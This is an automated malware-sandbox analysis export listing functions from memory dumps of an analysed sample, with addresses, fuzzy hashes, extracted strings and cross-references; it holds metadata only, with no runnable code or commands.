Memory Dump Source

Source File: 00000000.00000002.1839528025.0000000003680000.00000040.00001000.00020000.00000000.sdmp, Offset: 03680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3680000_file.jbxd

Yara matches

Similarity

API ID:
String ID: )$IDAT$IEND$IHDR
API String ID: 0-3181356877
Opcode ID: 3511b082d5560558510c94d3efdee04cf19d2c1898fd965802b973fdfc2f06ca
Instruction ID: d3da27535e07c57e382cdac106d3cb260e663b2f277db8a921b92042240b60d9
Opcode Fuzzy Hash: 3511b082d5560558510c94d3efdee04cf19d2c1898fd965802b973fdfc2f06ca
Instruction Fuzzy Hash: D2126571A043859FDB14DF29DC9076ABBE0EF88300F08866DF9859B381D779D909CB96

Uniqueness

Uniqueness Score: -1.00%

Function 0369CEC7 Relevance: 4.1, Strings: 3, Instructions: 328COMMON

Download Yara Rule

Strings

tu, xrefs: 0369CEED
m!s, xrefs: 0369CF2D
7q9w, xrefs: 0369CEE5

Memory Dump Source

Source File: 00000000.00000002.1839528025.0000000003680000.00000040.00001000.00020000.00000000.sdmp, Offset: 03680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3680000_file.jbxd

Yara matches

Similarity

API ID:
String ID: m!s$7q9w$tu
API String ID: 0-1328737773
Opcode ID: 630394122b1b40b6e144354b10afeacad49fa940cd3a6ea08509c0a48de16aad
Instruction ID: 0556dcf13c682d9f805068ccf047109c0c1453f55c6ffc16138a423b0a689d9e
Opcode Fuzzy Hash: 630394122b1b40b6e144354b10afeacad49fa940cd3a6ea08509c0a48de16aad
Instruction Fuzzy Hash: 9B91F1B56043018BEF14DF14C891B7BB7B9EF81314F194A2DE8818B380E375D912CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 0368092B Relevance: 3.8, Strings: 3, Instructions: 90COMMON

Download Yara Rule

Strings

., xrefs: 0368095F
l, xrefs: 03680966
GetProcAddress., xrefs: 036809DC, 036809DF, 036809E4

Memory Dump Source

Source File: 00000000.00000002.1839528025.0000000003680000.00000040.00001000.00020000.00000000.sdmp, Offset: 03680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3680000_file.jbxd

Yara matches

Similarity

API ID:
String ID: .$GetProcAddress.$l
API String ID: 0-2784972518
Opcode ID: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction ID: 2967963ad2e7fe8fe25674c90f2a4cebaf849fbd7eb5b7186c51ca1ad417364a
Opcode Fuzzy Hash: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction Fuzzy Hash: F4318DB6900609DFDB10DF99C980AADFBF9FF08324F15554AD841A7310D771EA49CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 036855DB Relevance: 3.3, Strings: 2, Instructions: 800COMMON

Download Yara Rule

Strings

8, xrefs: 03685EE2
0, xrefs: 03685EEA

Memory Dump Source

Source File: 00000000.00000002.1839528025.0000000003680000.00000040.00001000.00020000.00000000.sdmp, Offset: 03680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3680000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 0$8
API String ID: 0-46163386
Opcode ID: c28052362693d2ec878eb2e9e4053acdb697fe5a00c1b3c7cf0b2954dfd04b5c
Instruction ID: 26bf756cfe5671030b431807e50e115a336e6d640d8d8cb8c756172755d0a3bd
Opcode Fuzzy Hash: c28052362693d2ec878eb2e9e4053acdb697fe5a00c1b3c7cf0b2954dfd04b5c
Instruction Fuzzy Hash: 5D729A716083409FD724DF18C554BAFBBE1AF89314F088A5DFA8A8B3A1C371D955CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00405567 Relevance: 3.0, Strings: 2, Instructions: 510COMMON

Download Yara Rule

Strings

8, xrefs: 00405C7B
0, xrefs: 00405C83

Memory Dump Source

Source File: 00000000.00000002.1837829527.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1837829527.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID: 0$8
API String ID: 0-46163386
Opcode ID: f72422da4545a53147ba4bcae673fa22cfdc217a8e972246317f84f25e8baf34
Instruction ID: f7f0119f1880cbbeb85be2149024bdb2ea19f96f545e0beea172c8d0a898f24a
Opcode Fuzzy Hash: f72422da4545a53147ba4bcae673fa22cfdc217a8e972246317f84f25e8baf34
Instruction Fuzzy Hash: 02222271208740AFDB148F18C840B6BBBE2EF88314F18892EF8899B391D375D954CF96

Uniqueness

Uniqueness Score: -1.00%

Function 0043B9D0 Relevance: 2.9, Strings: 2, Instructions: 360COMMON

Download Yara Rule

Strings

R-,T, xrefs: 0043BB70
R-,T, xrefs: 0043BA70

Memory Dump Source

Source File: 00000000.00000002.1837829527.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1837829527.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID: R-,T$R-,T
API String ID: 0-2000385741
Opcode ID: 33132292489724090ba6a012e502e5530243ed10587e09ed58ab0f6b1488d0ac
Instruction ID: 8a29a55053717aff0ea9d03566f8ae78156dab941fa58883738f942dff897c1f
Opcode Fuzzy Hash: 33132292489724090ba6a012e502e5530243ed10587e09ed58ab0f6b1488d0ac
Instruction Fuzzy Hash: B9C10172A043128BC725CF18C490B6BB7A1FF89314F19966DE9A69B351C738ED04CBD6

Uniqueness

Uniqueness Score: -1.00%

Function 036BBC37 Relevance: 2.9, Strings: 2, Instructions: 360COMMON

Download Yara Rule

Strings

R-,T, xrefs: 036BBDD7
R-,T, xrefs: 036BBCD7

Memory Dump Source

Source File: 00000000.00000002.1839528025.0000000003680000.00000040.00001000.00020000.00000000.sdmp, Offset: 03680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3680000_file.jbxd

Yara matches

Similarity

API ID:
String ID: R-,T$R-,T
API String ID: 0-2000385741
Opcode ID: cd1c842c8cb882f8655696e56ea315231ebb5dd9269e9338f9166ab2116c86d1
Instruction ID: 5d59fe0e84ad96df2b9f4dd81aba2bd8ce3cbb1e14f95d7c41043d67d9a9543a
Opcode Fuzzy Hash: cd1c842c8cb882f8655696e56ea315231ebb5dd9269e9338f9166ab2116c86d1
Instruction Fuzzy Hash: 7FC11372A043528BC328CF18C490AAAF7F1FF89354F19866CE8A59B351C770D985CF92

Uniqueness

Uniqueness Score: -1.00%

Function 0040581F Relevance: 2.8, Strings: 2, Instructions: 267COMMON

Download Yara Rule

Strings

8, xrefs: 00405C7B
0, xrefs: 00405C83

Memory Dump Source

Source File: 00000000.00000002.1837829527.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1837829527.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID: 0$8
API String ID: 0-46163386
Opcode ID: 570d64d0102431681fc9c2953f0e3e491529824ae676a0b8b950b5723fab437e
Instruction ID: bdea24ff9dfb5e0cd0db60fba46b67bbb96c489911e557cb46ccc3a4af15eb87
Opcode Fuzzy Hash: 570d64d0102431681fc9c2953f0e3e491529824ae676a0b8b950b5723fab437e
Instruction Fuzzy Hash: D0B12631209380AFCB21CF58C880B5FBBE1AF99314F08885EF98597392D675D854DBA7

Uniqueness

Uniqueness Score: -1.00%

Function 00405B18 Relevance: 2.7, Strings: 2, Instructions: 231COMMON

Download Yara Rule

Strings

8, xrefs: 00405C7B
0, xrefs: 00405C83

Memory Dump Source

Source File: 00000000.00000002.1837829527.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1837829527.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID: 0$8
API String ID: 0-46163386
Opcode ID: 74347a645ffaf85fd77ae73b23a4eccb862ef996c88cbf721dd42e1b28c782df
Instruction ID: 37c8e6d2c4d31b8ff407cb87492de83e2db98608a9e4700acb08c765a7b3870e
Opcode Fuzzy Hash: 74347a645ffaf85fd77ae73b23a4eccb862ef996c88cbf721dd42e1b28c782df
Instruction Fuzzy Hash: 64A135316083809FD725CF68D880B6FBBE1EF99350F04882EFA8997391D675D914CB96

Uniqueness

Uniqueness Score: -1.00%

Function 0369B247 Relevance: 2.6, Strings: 2, Instructions: 130COMMON

Download Yara Rule

Strings

!, xrefs: 0369B27A
|)t+, xrefs: 0369B266

Memory Dump Source

Source File: 00000000.00000002.1839528025.0000000003680000.00000040.00001000.00020000.00000000.sdmp, Offset: 03680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3680000_file.jbxd

Yara matches

Similarity

API ID:
String ID: !$|)t+
API String ID: 0-1543151180
Opcode ID: a01c931c2f573e3a0e1da8e8599f919eb061fd7c53aebc2c304cd03effb064b8
Instruction ID: b5f445bfd64d5bda6f3966e6620ab39889490536aaa0cf2a64f8ec555802feac
Opcode Fuzzy Hash: a01c931c2f573e3a0e1da8e8599f919eb061fd7c53aebc2c304cd03effb064b8
Instruction Fuzzy Hash: 5B419D715083109BDB18CF18D8A076BB7B5FF8A328F089A1DE8919B380E774D505CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 004365C0 Relevance: 2.0, Strings: 1, Instructions: 700COMMON

Download Yara Rule

Strings

f543, xrefs: 00436BD8

Memory Dump Source

Source File: 00000000.00000002.1837829527.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1837829527.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID: f543
API String ID: 0-424919641
Opcode ID: adc9dd89ee8c3bca4f4596d469ea51622db4e72dea984a828638cd48887df866
Instruction ID: a27fba163ec8ca6502e179a43430a23e18181e16a5da658c1e63ab54147eeb45
Opcode Fuzzy Hash: adc9dd89ee8c3bca4f4596d469ea51622db4e72dea984a828638cd48887df866
Instruction Fuzzy Hash: 04327B742083419FD714CF24C494B2BBBE2BBC9318F65DA1EE8958B391C778D805CB96

Uniqueness

Uniqueness Score: -1.00%

Function 036B6827 Relevance: 2.0, Strings: 1, Instructions: 700COMMON

Download Yara Rule

Strings

f543, xrefs: 036B6E3F

Memory Dump Source

Source File: 00000000.00000002.1839528025.0000000003680000.00000040.00001000.00020000.00000000.sdmp, Offset: 03680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3680000_file.jbxd

Yara matches

Similarity

API ID:
String ID: f543
API String ID: 0-424919641
Opcode ID: ee1e641224ab94123951b88dafefde2f31790dbb0f3442288f09851e838e1533
Instruction ID: 68b6f199b0ea8083fa9d601950c12b764efd0dc156e6edd5ad0d197ad15a715b
Opcode Fuzzy Hash: ee1e641224ab94123951b88dafefde2f31790dbb0f3442288f09851e838e1533
Instruction Fuzzy Hash: 543258B56083419BD724CF24C490BAAFBF2AFC9318F188A2DE8958B395C775D845CF52

Uniqueness

Uniqueness Score: -1.00%

Function 004261D5 Relevance: 1.7, Strings: 1, Instructions: 432COMMON

Download Yara Rule

Strings

7452, xrefs: 0042672B

Memory Dump Source

Source File: 00000000.00000002.1837829527.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1837829527.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID: 7452
API String ID: 0-87867774
Opcode ID: 54138c22c7979f72702bb9a08b355e5a839a7628d7f0a1cc823a813397b31fdc
Instruction ID: 9183c8cb2bdce41f8d6db81880cd269f3f93fb1448a1f7e838d0594f66b23865
Opcode Fuzzy Hash: 54138c22c7979f72702bb9a08b355e5a839a7628d7f0a1cc823a813397b31fdc
Instruction Fuzzy Hash: C7E16A70604B908BD33ACF39D0943A7BBE1BF56304F954A6EC4E74B791C739A4068B48

Uniqueness

Uniqueness Score: -1.00%

Function 036A643C Relevance: 1.7, Strings: 1, Instructions: 432COMMON

Download Yara Rule

Strings

7452, xrefs: 036A6992

Memory Dump Source

Source File: 00000000.00000002.1839528025.0000000003680000.00000040.00001000.00020000.00000000.sdmp, Offset: 03680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3680000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 7452
API String ID: 0-87867774
Opcode ID: 54138c22c7979f72702bb9a08b355e5a839a7628d7f0a1cc823a813397b31fdc
Instruction ID: d7b1bb20c8ab20600c7a9fdd949d0cabbbf659e0aeff239ca0f9a2fa56acecd1
Opcode Fuzzy Hash: 54138c22c7979f72702bb9a08b355e5a839a7628d7f0a1cc823a813397b31fdc
Instruction Fuzzy Hash: 52E159B0504F818BD33ACF39C1A47A6BBE1BB56304F584A6EC4E74B791C775A50ACB50

Uniqueness

Uniqueness Score: -1.00%

Function 00426148 Relevance: 1.7, Strings: 1, Instructions: 429COMMON

Download Yara Rule

Strings

7452, xrefs: 0042672B

Memory Dump Source

Source File: 00000000.00000002.1837829527.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1837829527.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID: 7452
API String ID: 0-87867774
Opcode ID: 1dea606280cec810fd0385baed8d9e9f5f119faaff7c1b778a8d69061cf5cfe0
Instruction ID: 0f5e2fea7ca9d0fcb5471046c57c7772b20413f2ee2d671d3732f2d6399003e3
Opcode Fuzzy Hash: 1dea606280cec810fd0385baed8d9e9f5f119faaff7c1b778a8d69061cf5cfe0
Instruction Fuzzy Hash: E8E16970604B918BD329CF39D0A43A7BBE1BB56304F954A6EC4E74B691C779A409CB48

Uniqueness

Uniqueness Score: -1.00%

Function 036A63AF Relevance: 1.7, Strings: 1, Instructions: 429COMMON

Download Yara Rule

Strings

7452, xrefs: 036A6992

Memory Dump Source

Source File: 00000000.00000002.1839528025.0000000003680000.00000040.00001000.00020000.00000000.sdmp, Offset: 03680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3680000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 7452
API String ID: 0-87867774
Opcode ID: 1dea606280cec810fd0385baed8d9e9f5f119faaff7c1b778a8d69061cf5cfe0
Instruction ID: 59baa23cdca19b0c5f531ff449892ae3c667e623826f9542390451a2a390adf7
Opcode Fuzzy Hash: 1dea606280cec810fd0385baed8d9e9f5f119faaff7c1b778a8d69061cf5cfe0
Instruction Fuzzy Hash: E7E168B0504F818BD33ACF39C1A47A6BBE1BF16304F584A6EC4E74B691C779A50ACB50

Uniqueness

Uniqueness Score: -1.00%

Function 004261C3 Relevance: 1.6, Strings: 1, Instructions: 388COMMON

Download Yara Rule

Strings

7452, xrefs: 0042672B

Memory Dump Source

Source File: 00000000.00000002.1837829527.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1837829527.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID: 7452
API String ID: 0-87867774
Opcode ID: cf40754c4f5f5cd56b43022b0ab29e4608a7f574ccc41ec9ab392bf31e4060d2
Instruction ID: d473763cb8fcafe3d71cd73cd2a945522f078f264cb0929a2263decf9abb313e
Opcode Fuzzy Hash: cf40754c4f5f5cd56b43022b0ab29e4608a7f574ccc41ec9ab392bf31e4060d2
Instruction Fuzzy Hash: 3ED19D70604B908BD326CF34D0A47A7BBE2BF56304F950A5EC8E70B791C779A40ACB49

Uniqueness

Uniqueness Score: -1.00%

Function 036A642A Relevance: 1.6, Strings: 1, Instructions: 388COMMON

Download Yara Rule

Strings

7452, xrefs: 036A6992

Memory Dump Source

Source File: 00000000.00000002.1839528025.0000000003680000.00000040.00001000.00020000.00000000.sdmp, Offset: 03680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3680000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 7452
API String ID: 0-87867774
Opcode ID: cf40754c4f5f5cd56b43022b0ab29e4608a7f574ccc41ec9ab392bf31e4060d2
Instruction ID: c57e20bdb18cb176e3b6e3ce0b246f0e6a5f02aa0d310a225d1d1027cf786e69
Opcode Fuzzy Hash: cf40754c4f5f5cd56b43022b0ab29e4608a7f574ccc41ec9ab392bf31e4060d2
Instruction Fuzzy Hash: 50D17974504F818BD326CF38C1A47A7BBE2AF56308F584A5DC5E70B791C779A80ACB51

Uniqueness

Uniqueness Score: -1.00%

Function 00417A65 Relevance: 1.6, Strings: 1, Instructions: 357COMMON

Download Yara Rule

Strings

:B, xrefs: 00417AA1

Memory Dump Source

Source File: 00000000.00000002.1837829527.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1837829527.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID: :B
API String ID: 0-3257028938
Opcode ID: 3e821f729e7bd7966f8aa8fdbbe72b6607c3b13e90e0310993c0f98e2796235a
Instruction ID: 2c342faefb3c2e803dbce2d9fb269bbbc951d39f873bbb010e15bb50d674dad7
Opcode Fuzzy Hash: 3e821f729e7bd7966f8aa8fdbbe72b6607c3b13e90e0310993c0f98e2796235a
Instruction Fuzzy Hash: 5CB18A742047018BD725CF19C8A1763B7F2FF86324F18855DD8968BB96E778E882CB94

Uniqueness

Uniqueness Score: -1.00%

Function 03697CCC Relevance: 1.6, Strings: 1, Instructions: 357COMMON

Download Yara Rule

Strings

:B, xrefs: 03697D08

Memory Dump Source

Source File: 00000000.00000002.1839528025.0000000003680000.00000040.00001000.00020000.00000000.sdmp, Offset: 03680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3680000_file.jbxd

Yara matches

Similarity

API ID:
String ID: :B
API String ID: 0-3257028938
Opcode ID: 1e0049a4c92e93eedd58dfb0be8b66b9b761d6fa7d8c5b3983c2548ff99060e7
Instruction ID: 0a1d5db34f9630626b4ae54771e0f810094891fb3df6f6c752cef9d1cbda7f93
Opcode Fuzzy Hash: 1e0049a4c92e93eedd58dfb0be8b66b9b761d6fa7d8c5b3983c2548ff99060e7
Instruction Fuzzy Hash: F3B19C741007018BEB24CF19C891B63B7B5FF86324F19865DD8968FB95E774E842CB90

Uniqueness

Uniqueness Score: -1.00%

Function 004065F0 Relevance: 1.5, Strings: 1, Instructions: 262COMMON

Download Yara Rule

Strings

,, xrefs: 00406743

Memory Dump Source

Source File: 00000000.00000002.1837829527.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1837829527.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID: ,
API String ID: 0-3772416878
Opcode ID: ba0ccf94401fd5fba908be8ff873a84c86c8c083a6df85b5acfb8f2518fe5101
Instruction ID: 0d8966ef7d050a0ec093872ade78419a3f07b231ada14620d39ddb812e519fe1
Opcode Fuzzy Hash: ba0ccf94401fd5fba908be8ff873a84c86c8c083a6df85b5acfb8f2518fe5101
Instruction Fuzzy Hash: FBB13A71109381AFD314CF68C94465BFBE0AFA9304F444A6EF4D997382D375EA28CB96

Uniqueness

Uniqueness Score: -1.00%

Function 004245D4 Relevance: 1.4, Strings: 1, Instructions: 188COMMON

Download Yara Rule

Strings

"64., xrefs: 004247D2

Memory Dump Source

Source File: 00000000.00000002.1837829527.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1837829527.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID: "64.
API String ID: 0-1818615731
Opcode ID: 8fe9d5c3beee695abd02aa9325a0a233faa359eb8810dd28c624e8655a67746b
Instruction ID: 9cbbebd9cf2853766a7fd533854aba19562981c866732ef8e5855bd5c730c658
Opcode Fuzzy Hash: 8fe9d5c3beee695abd02aa9325a0a233faa359eb8810dd28c624e8655a67746b
Instruction Fuzzy Hash: FC614970504F918BD7268F34D8647A3BBE0AB5330AF54199ED1EB8B692D339A446CF14

Uniqueness

Uniqueness Score: -1.00%

Function 036A483B Relevance: 1.4, Strings: 1, Instructions: 188COMMON

Download Yara Rule

Strings

"64., xrefs: 036A4A39

Memory Dump Source

Source File: 00000000.00000002.1839528025.0000000003680000.00000040.00001000.00020000.00000000.sdmp, Offset: 03680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3680000_file.jbxd

Yara matches

Similarity

API ID:
String ID: "64.
API String ID: 0-1818615731
Opcode ID: 8fe9d5c3beee695abd02aa9325a0a233faa359eb8810dd28c624e8655a67746b
Instruction ID: 30b650a2b313872c5cef4d53c380218b83b9a71f15f5e715731c803a4169852f
Opcode Fuzzy Hash: 8fe9d5c3beee695abd02aa9325a0a233faa359eb8810dd28c624e8655a67746b
Instruction Fuzzy Hash: FC613C70508F818BD726CF39C8647A3BBE0AF1220AF18199DD1EB8B792D775A446CF11

Uniqueness

Uniqueness Score: -1.00%

Function 00424678 Relevance: 1.4, Strings: 1, Instructions: 169COMMON

Download Yara Rule

Strings

"64., xrefs: 004247D2

Memory Dump Source

Source File: 00000000.00000002.1837829527.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1837829527.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID: "64.
API String ID: 0-1818615731
Opcode ID: 1cb5013b924579170817424542a0ed3b001999cde159c9abc9b16e7be69e42ce
Instruction ID: eece925dbea67c09ba23cb815eb0a2b10cd4d1e78693a0ddb335afaecfcb9b96
Opcode Fuzzy Hash: 1cb5013b924579170817424542a0ed3b001999cde159c9abc9b16e7be69e42ce
Instruction Fuzzy Hash: C1515770504F918BD7268F34D8687A3BBE0AB5330AF58195ED1EB8B792D339A4468F14

Uniqueness

Uniqueness Score: -1.00%

Function 036A48DF Relevance: 1.4, Strings: 1, Instructions: 169COMMON

Download Yara Rule

Strings

"64., xrefs: 036A4A39

Memory Dump Source

Source File: 00000000.00000002.1839528025.0000000003680000.00000040.00001000.00020000.00000000.sdmp, Offset: 03680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3680000_file.jbxd

Yara matches

Similarity

API ID:
String ID: "64.
API String ID: 0-1818615731
Opcode ID: 1cb5013b924579170817424542a0ed3b001999cde159c9abc9b16e7be69e42ce
Instruction ID: 55663f35c72851bc0adaa772fb90d218932db6655bc470cbb4c5bae2d4d9d8a6
Opcode Fuzzy Hash: 1cb5013b924579170817424542a0ed3b001999cde159c9abc9b16e7be69e42ce
Instruction Fuzzy Hash: 19514C70508F818BD726CF39C8647A3BBE0AF1220AF18199DD1EB8B792D775A446CF14

Uniqueness

Uniqueness Score: -1.00%

Function 004245A8 Relevance: 1.4, Strings: 1, Instructions: 126COMMON

Download Yara Rule

Strings

"64., xrefs: 004247D2

Memory Dump Source

Source File: 00000000.00000002.1837829527.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1837829527.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID: "64.
API String ID: 0-1818615731
Opcode ID: a40c39fd608072d796451441512b5e74c9891fef408fb92697e9befa5d5d5aec
Instruction ID: 4ba8f46cec079ecce6411922fc76b971d3f4b9dae6926d614598c56714c2f091
Opcode Fuzzy Hash: a40c39fd608072d796451441512b5e74c9891fef408fb92697e9befa5d5d5aec
Instruction Fuzzy Hash: 81418870504F918BD7268F34D8647A3BBE0AB5330AF58095ED1EB8B792D339A046CF14

Uniqueness

Uniqueness Score: -1.00%

Function 036A480F Relevance: 1.4, Strings: 1, Instructions: 126COMMON

Download Yara Rule

Strings

"64., xrefs: 036A4A39

Memory Dump Source

Source File: 00000000.00000002.1839528025.0000000003680000.00000040.00001000.00020000.00000000.sdmp, Offset: 03680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3680000_file.jbxd

Yara matches

Similarity

API ID:
String ID: "64.
API String ID: 0-1818615731
Opcode ID: a40c39fd608072d796451441512b5e74c9891fef408fb92697e9befa5d5d5aec
Instruction ID: a0037fb80c5f74440e26b2b187bc98bfa8ab7100503ff9b5cfdfce96a8df8f94
Opcode Fuzzy Hash: a40c39fd608072d796451441512b5e74c9891fef408fb92697e9befa5d5d5aec
Instruction Fuzzy Hash: E1414C70508F818BD726CF39C8647A3BBE1AF1220AF18199DD1EB8B792D775A446CF14

Uniqueness

Uniqueness Score: -1.00%

Function 004134B2 Relevance: 1.3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

Strings

0I, xrefs: 00413576, 004135A1

Memory Dump Source

Source File: 00000000.00000002.1837829527.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1837829527.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID: 0I
API String ID: 0-784674108
Opcode ID: 8f3e3bb6b32eb180a46acbc0603ecd5238a49341064d72d8fb4e110064df87a6
Instruction ID: e7ea44d39fb9c3ebbe7f082f2f89bf6fd20d60c658378b822b4977f33e0c355b
Opcode Fuzzy Hash: 8f3e3bb6b32eb180a46acbc0603ecd5238a49341064d72d8fb4e110064df87a6
Instruction Fuzzy Hash: F72181742417408BE328CF25C8A4BA7B3B3FB85315F244D2DC59757B91C7BAAC868B54

Uniqueness

Uniqueness Score: -1.00%

Function 03693719 Relevance: 1.3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

Strings

0I, xrefs: 036937DD, 03693808

Memory Dump Source

Source File: 00000000.00000002.1839528025.0000000003680000.00000040.00001000.00020000.00000000.sdmp, Offset: 03680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3680000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 0I
API String ID: 0-784674108
Opcode ID: 89d00852f7c9c0a59ba05bebb8c768e38033aaa6a88488ad5745d372464e72e5
Instruction ID: c95d3da4b2ad22bad9c3aa89c72d99fece88aeba95cddc58a47fcf1ec83a07fb
Opcode Fuzzy Hash: 89d00852f7c9c0a59ba05bebb8c768e38033aaa6a88488ad5745d372464e72e5
Instruction Fuzzy Hash: B72174782417808BE728CF24C994B67B3B6FB85314F28492DC5A75BB91C7B6A8428F44

Uniqueness

Uniqueness Score: -1.00%

Function 00437D40 Relevance: 1.3, Strings: 1, Instructions: 44COMMON

Download Yara Rule

Strings

GuFw, xrefs: 00437D57

Memory Dump Source

Source File: 00000000.00000002.1837829527.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1837829527.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID: GuFw
API String ID: 0-503257407
Opcode ID: 13b2af7569b70266327aee577224a957bfbd53e7d638b9b4d6d561703f62571d
Instruction ID: 204b4f0dacfad2ecc3a97af548ae9a51b898d0d7704e0e05f7524da1618fa652
Opcode Fuzzy Hash: 13b2af7569b70266327aee577224a957bfbd53e7d638b9b4d6d561703f62571d
Instruction Fuzzy Hash: A61112F45117428BD328CF25D494A26FBB1BF46304F149A9DC0924BB96D374E58ACBE8

Uniqueness

Uniqueness Score: -1.00%

Function 036B7FA7 Relevance: 1.3, Strings: 1, Instructions: 44COMMON

Download Yara Rule

Strings

GuFw, xrefs: 036B7FBE

Memory Dump Source

Source File: 00000000.00000002.1839528025.0000000003680000.00000040.00001000.00020000.00000000.sdmp, Offset: 03680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3680000_file.jbxd

Yara matches

Similarity

API ID:
String ID: GuFw
API String ID: 0-503257407
Opcode ID: 13b2af7569b70266327aee577224a957bfbd53e7d638b9b4d6d561703f62571d
Instruction ID: 75c8f5e0011cb7433db939d621b22617b6a18a14f119d1d5a1cc81f874f3d3a4
Opcode Fuzzy Hash: 13b2af7569b70266327aee577224a957bfbd53e7d638b9b4d6d561703f62571d
Instruction Fuzzy Hash: 731112B45107428BD328CF25C494A16FBB1BF46304F149A9CC0924FB96D335E5CACBD8

Uniqueness

Uniqueness Score: -1.00%

Function 00407C70 Relevance: .9, Instructions: 864COMMON
